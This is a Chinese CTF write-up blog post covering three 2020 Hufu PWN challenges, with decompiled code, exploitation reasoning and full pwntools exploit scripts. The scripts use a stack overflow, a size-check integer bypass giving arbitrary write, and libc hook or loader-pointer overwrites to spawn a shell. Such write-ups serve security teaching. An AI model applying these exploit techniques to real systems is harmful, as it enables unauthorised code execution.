2020-虎符线上赛部分PWN解题

[toc]

前言

很早的比赛,线下被俺们鸽掉了,这里做个总结

count:栈溢出
SecureBox:汇编层面的一个整数溢出,很有意思
MarksMan:改三个字节,通过exit来getshell

count

程序没开PIE,主函数如下:

这个题计算199次后,栈溢出即可getshell,很简单。

exp:

#coding=utf-8
from pwn import *
context.log_level = "debug"
context.binary = "./pwn"
context.arch='aarch64'
libc=ELF("/lib64/libc.so.6", checksec = False)
elf = ELF("./pwn")
remote_gdb=False
def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        sh = process(["qemu-aarch64", "-g", "1234", "-L", "/lib64", "./pwn"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return sh
    else :
        return process(["qemu-aarch64", "-L", "/lib64", "./pwn"])

def get_answer():
    p.recvuntil('Math: ')
    equal=p.recvuntil(' =')
    equal.replace(" =","")
    equal = equal[:-1]
    print equal
    return eval(equal)

p = get_sh(0)
for i in range(200):
    data = get_answer()
    p.sendline(str(data))

sleep(1)
p.recvuntil("good !")
p.send("a"*0x64+p32(0x12235612)+p32(0x12235612))
p.interactive()

SecureBox

IDA分析

1)create

unsigned __int64 create()
{
  heap_manage *v0; // rbx
  unsigned int v2; // [rsp+4h] [rbp-2Ch]
  signed int i; // [rsp+8h] [rbp-28h]
  signed int j; // [rsp+Ch] [rbp-24h]
  unsigned __int64 size; // [rsp+10h] [rbp-20h]
  unsigned __int64 v6; // [rsp+18h] [rbp-18h]
  v6 = __readfsqword(0x28u);
  v2 = -1;
  for ( i = 0; i <= 15; ++i )
  {
    if ( !qword_202060[i] )
    {
      v2 = i;
      break;
    }
  }
  if ( v2 == -1 )
  {
    puts("No boxes available!");
  }
  else
  {
    puts("Size: ");
    size = get_number();
    if ( size > 0x100 && (unsigned int)size <= 0xFFF )
    {
      qword_202060[v2] = malloc(0x28uLL);       // 管理chunk结构体
      *((_QWORD *)qword_202060[v2] + 4) = size; // 这里是下一个chunk的pre_size
      v0 = (heap_manage *)qword_202060[v2];
      v0->chunk_addr = (__int64)malloc(size);
      memset(qword_202060[v2], 0, 0x14uLL);     // 将manage chunk前0x14设置为null
      get_info_from_random_file(qword_202060[v2]);// 从random file中read 0x10 到chunk
      puts("Key: ");
      for ( j = 0; j <= 15; ++j )               // 打印出随机数
        printf("%02x ", *((unsigned __int8 *)qword_202060[v2] + j));
      printf("\nBox ID: %d\n", v2);
    }
    puts("Finish!");
  }
  return __readfsqword(0x28u) ^ v6;
}

2)delete

unsigned __int64 delete()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  puts("Box ID: ");
  v1 = get_number();
  if ( v1 > 0xF )                               // 判断index边界
  {
LABEL_7:
    puts("Finish!");
    return __readfsqword(0x28u) ^ v2;
  }
  if ( qword_202060[v1] )
  {
    if ( *((_QWORD *)qword_202060[v1] + 3) )    // 判断manage chunk中chunk address的位置是否为空
    {
      free(*((void **)qword_202060[v1] + 3));
      *((_QWORD *)qword_202060[v1] + 3) = 0LL;
    }
    free(qword_202060[v1]);                     // 删除管理chunk
    qword_202060[v1] = 0LL;
    goto LABEL_7;
  }
  puts("Empty Box!");
  return __readfsqword(0x28u) ^ v2;
}

3)encrypt(edit)

unsigned __int64 encrypt()
{
  unsigned __int64 remain_size; // ST20_8
  unsigned __int64 i; // [rsp+8h] [rbp-38h]
  unsigned __int64 v3; // [rsp+10h] [rbp-30h]
  unsigned __int64 offset; // [rsp+18h] [rbp-28h]
  unsigned __int64 edit_size; // [rsp+28h] [rbp-18h]
  unsigned __int64 v6; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]
  v7 = __readfsqword(0x28u);
  puts("Box ID: ");
  v3 = get_number();
  if ( v3 > 0xF )
  {
LABEL_9:
    puts("Finish!");
    return __readfsqword(0x28u) ^ v7;
  }
  if ( qword_202060[v3] )
  {
    puts("Offset of msg: ");
    offset = get_number();
    if ( *((_QWORD *)qword_202060[v3] + 4) > offset )
    {
      puts("Len of msg: ");
      remain_size = *((_QWORD *)qword_202060[v3] + 4) - offset;
      edit_size = get_number();
      if ( edit_size <= remain_size )
      {
        puts("Msg: ");
        read_info((_BYTE *)(*((_QWORD *)qword_202060[v3] + 3) + offset), edit_size);
        v6 = *((_QWORD *)qword_202060[v3] + 3) + offset;
        for ( i = 0LL; i < edit_size; ++i )
          *(_BYTE *)(v6 + i) ^= *((_BYTE *)qword_202060[v3] + (i & 0xF)); //  从create chunk的chunk中读取的随机数来进行异或
      }
    }
    goto LABEL_9;
  }
  puts("Empty Box!");
  return __readfsqword(0x28u) ^ v7;
}

这样看起来貌似没有什么问题,但是从汇编层面来看:

create比较最大size的时候是用eax寄存器来比较,这样就可以想办法绕过了。即使用-0x100000000就可以绕过最大size的限制。

编辑的时候也是根据chunk的地址+offset来写入。当我们的size很大的时候,offset不会大于size,chunk_addr由于超大size分配失败,所以这个地方等于0. 这样的话,我们就可以在encrypt中实现任意地址写的目的。

思路

1.第一步利用释放再分配的方式打印出libc 和heap地址,其实heap地址都没必要了
2.第二步利用绕过size的方式,写入一个超大size
3.第三步异或写free_hook为one_gadget

之前打比赛的时候卡在最后异或,忘记随机数一开始就输出了。。。

exp

#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal =  ["tmux","split","-h"]
#p = process("./chall")
p = remote("192.168.241.131",1234)
elf = ELF("./chall")
libc = ELF("./libc.so.6")

def change_ld(binary, ld):
    """
    Force to use assigned new ld.so by changing the binary
    """
    if not os.access(ld, os.R_OK):
        log.failure("Invalid path {} to ld".format(ld))
        return None

    if not isinstance(binary, ELF):
        if not os.access(binary, os.R_OK):
            log.failure("Invalid path {} to binary".format(binary))
            return None
        binary = ELF(binary)
    for segment in binary.segments:
        if segment.header['p_type'] == 'PT_INTERP':
            size = segment.header['p_memsz']
            addr = segment.header['p_paddr']
            data = segment.data()
            if size <= len(ld):
                log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
                return None
            binary.write(addr, ld.ljust(size, '\0'))
            if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
            path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
            if os.access(path, os.F_OK):
                os.remove(path)
                info("Removing exist file {}".format(path))
            binary.save(path)    
            os.chmod(path, 0b111000000) #rwx------
    success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
    return ELF(path)
elf = change_ld('./chall', './ld-linux-x86-64.so.2')
p = elf.process(env={'LD_PRELOAD':'./libc.so.6'})
libc = ELF("./libc.so.6")
gadgets = [0xe6b93,0xe6b96,0xe6b99,0x10afa9,0x10afb5]

def create(size):
    p.sendlineafter("Exit","1")
    p.sendlineafter("Size: ",str(size))

def delete(index):
    p.sendlineafter("Exit","2")
    p.sendlineafter("ID: ",str(index))

def enc(index,offset,len,content):
    p.sendlineafter("5.Exit","3")
    p.sendlineafter("ID: ",str(index))
    p.sendlineafter("Offset of msg: ",str(offset))
    p.sendlineafter("Len of msg: ",str(len))
    p.sendafter("Msg:",content)

def show(index,offset,len):
    p.sendlineafter("5.Exit","4")
    p.sendlineafter("ID: ",str(index))
    p.sendlineafter("Offset of msg: ",str(offset))
    p.sendlineafter("Len of msg: ",str(len))

create(0x420) # 0
create(0x300) # 1
create(0x110) # 2
delete(0)
delete(1)
create(0x430) # 0
create(0x420)  # 1
show(1,0x0,0x20)
p.recv()
p.recv(6)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7fc3fd0+0x7ffff7dd9000
success("libc base ==> "+hex(libc.address))
show(1,0x10,0x8)
p.recv()
p.recv(6)
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x690
create(0x110) # 3
create(0x110) # 4
p.recvuntil("Key: \n")
key1 = int(p.recv(2),16)
success("key1 is ==>"+hex(key1))
enc(4,0,1,p8(ord('/')^key1))
enc(4,1,1,p8(ord('b')^key1))
enc(4,2,1,p8(ord('i')^key1))
enc(4,3,1,p8(ord('n')^key1))
enc(4,4,1,p8(ord('/')^key1))
enc(4,5,1,p8(ord('s')^key1))
enc(4,6,1,p8(ord('h')^key1))
# enc(3,7,1,str(((gadget>>56)&0xff)^key))
delete(3)

create(-4294967296) # 3
p.recvuntil("Key: \n")
key = int(p.recv(2),16)
success("key2 is ==>"+hex(key))
# gdb.attach(p)
gadget = libc.symbols["system"]
success("system address ==>"+hex(gadget))
enc(3,libc.symbols["__free_hook"],1,p8((gadget&0xff)^key))
enc(3,libc.symbols["__free_hook"]+1,1,p8(((gadget>>8)&0xff)^key))
enc(3,libc.symbols["__free_hook"]+2,1,p8(((gadget>>16)&0xff)^key))
enc(3,libc.symbols["__free_hook"]+3,1,p8(((gadget>>24)&0xff)^key))
enc(3,libc.symbols["__free_hook"]+4,1,p8(((gadget>>32)&0xff)^key))
enc(3,libc.symbols["__free_hook"]+5,1,p8(((gadget>>40)&0xff)^key))
enc(3,libc.symbols["__free_hook"]+6,1,p8(((gadget>>48)&0xff)^key))
enc(3,libc.symbols["__free_hook"]+7,1,p8(((gadget>>56)&0xff)^key))

#gdb.attach(p)
delete(4)
# gdb.attach(p)
p.interactive()

MarksMan

查看文件

IDA分析

一开始就把libc地址给了,我们看到这里有个任意地址写三个字节的功能,我们可以利用这个条件来getshell。具体要怎么做呢?

思路

思路一:

我们可以随便先写一个地址,然后通过调试看看会调用什么函数,然后将可写的地址写one_gadget即可。

我们可以先尝试写free_hook,然后看看程序流。执行到dlerror_run的时候会call dl_catch_error:

我们看看对应的0x7ffff7bd1d90的指令是什么:
jump到0x7ffff7dd4038位置,他最后会执行[0x7ffff7dd4038]地址的指令,我们继续看看对应位置有什么内容:
这样的话思路就明了了,我们改0x7ffff7dd4038地址上后三位的值可以直接改为one_gadget的地址,那么就可以成功了。

思路二:

第一次改_rtld_global+3848到gets,之后二次输入改_rtld_global+2312(参数1)为/bin/sh,_rtld_global+3840(或者48,这个偏移懒得算了都改掉了)为system_addr

貌似dlopen函数中会call一次_rtld_global+3848,之后输入payload会作为下一次call的参数。改system addr和rdi参数为/bin/sh。(神迹啊…..)

exp

exp1

from pwn import *
import sys
context.log_level = 'debug'
p = process("./chall")
libc = ELF('./libc.so.6')
off_puts = libc.symbols["puts"]
off_target = 0x619f60
gadget = [0x4f2c5, 0x4f322, 0x10a38c, 0xe569f]
p.recvuntil("near: 0x")
data = int(p.recv(12),16)
libc_base = data-off_puts
libc_target = libc_base + off_target
one_gadget = libc_base + gadget[3]
success("libc address ==> "+hex(libc_base))
success("target address ==> "+hex(libc_target))
success("one_gadget address ==> "+hex(one_gadget))
gdb.attach(p)
# p.sendlineafter("shoot!",str(libc_base+libc.symbols["__free_hook"]))
p.sendafter("shoot!",str(libc_base + (0x7ffff7dd4038-0x7ffff77e0000))+"\n")
p.recvuntil("biang!\n")
p.sendline(p8(one_gadget&0xff))
p.recvuntil("biang!\n")
p.sendline(p8((one_gadget>>8)&0xff))
p.recvuntil("biang!\n")
p.sendline(p8((one_gadget>>16)&0xff))
p.interactive()

exp2

#coding=utf-8
# 第一次改_rtld_global+3848到gets,
# 之后二次输入改_rtld_global+2312(参数1)
# 为/bin/sh,_rtld_global+3840(或者48,这个偏移懒得算了都改掉了)为system_addr
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
# context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./chall')
libc_offset = 0x3c4b20
ini_gadgets = [0x4f2c5,0x4f322,0x10a38c]
gadgets = [0x4f2be,0x4f31d,0x10a2f7,0xe5696]
ld = ELF("/lib/x86_64-linux-gnu/ld-2.27.so")
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./chall')
else:
    libc = ELF('./libc.so.6')
    p = remote('39.97.210.182',10055)
def exp():
    #leak libc
    p.recvuntil("I placed the target near: 0x")
    libc_base = int(p.recvline().strip('\n'),16) - libc.sym['puts']
    log.success("libc base => " + hex(libc_base))
    p.recvuntil("shoot!shoot!")
    libc.address = libc_base
    shell_addr = libc_base + gadgets[3]
    shell_addr = libc.sym['gets']
    log.success("shell addr => " + hex(shell_addr))
    ld_addr = libc_base + (0x7ffff7ffd000-0x7ffff77e0000) + 0x60 + 3848
    log.success("ld addr => " + hex(ld_addr))
    ld.address = ld_addr
    gdb.attach(p)
    p.sendline(str(ld_addr))
    p.recvuntil("biang")
    p.sendline(p64(shell_addr&0xff)[0])
    p.recvuntil("biang")
    p.sendline(p64((shell_addr&0xffff)>>8)[0])
    p.recvuntil("biang")
    p.sendline(p64((shell_addr&0xffffff)>>16)[0])
    payload = "/bin/sh\x00"
    payload = payload.ljust(3840-2312,'\x00')
    payload += p64(libc.sym['system'])*2
    p.sendline(payload)
    p.interactive()
exp()

 Previous
2020-拟态防御PWN解题 2020-拟态防御PWN解题
前言很早的比赛,做一个总结。凭借着师傅们的努力最终登顶! newpad:off by nulleasy_stack:格式化字符串+栈溢出rbsystem:负数溢出+利用fopen和fread函数分配的堆来leak libcgoodnote:
2020-12-09
Next 
路由器学习之D-Link DIR-815溢出漏洞复现 路由器学习之D-Link DIR-815溢出漏洞复现
[toc] 前言用了mipsrop发现是真的香,以前做mips题全部是ropper到txt里找相关寄存器的指令,构造极其复杂,有了mipsrop发现很多可控的jmp地址。 基本信息 我们看到是在hedwig.cgi中产生的一个cookie
  TOC